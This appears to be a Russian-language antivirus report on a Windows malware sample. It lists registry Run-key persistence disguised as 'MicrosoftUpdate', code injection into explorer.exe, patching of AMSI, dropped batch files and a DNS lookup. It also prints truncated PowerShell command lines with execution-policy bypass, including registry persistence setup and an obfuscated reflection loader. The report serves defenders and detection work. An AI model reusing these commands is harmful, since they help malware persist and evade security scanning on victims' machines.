Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'MicrosoftUpdate' = 'conhost.exe --headless %APPDATA%\Microsoft\Windows.bat'
Вредоносные функции
Внедряет код в
следующие системные процессы:
- %WINDIR%\explorer.exe
Патчит код
в динамической библиотеке AMSI
- Процесс explorer.exe, модуль Amsi.dll
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\btxd801.tmp.bat
- %APPDATA%\microsoft\windows.bat
Удаляет файлы, которые сам же создал
- %TEMP%\btxd801.tmp.bat
Сетевая активность
UDP
- DNS ASK mo#####.map.fastly.net
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\btxD801.tmp.bat"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -c "$b=$env:APPDATA+'\Microsoft\Windows.bat';$v='conhost.exe --headless "'+$b+'"';$r='HKCU:\Software\Microsoft\Windows\CurrentVersion\Run';Set-ItemProperty -Path $r -Name 'MicrosoftU...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass -c "function gTQkGrK([int[]]$c){-join([char[]]$c)};$JDCokA=[Type](gTQkGrK(0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x52,0x65,0x66,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x2E,0x41,0x73,0x73,0x6...
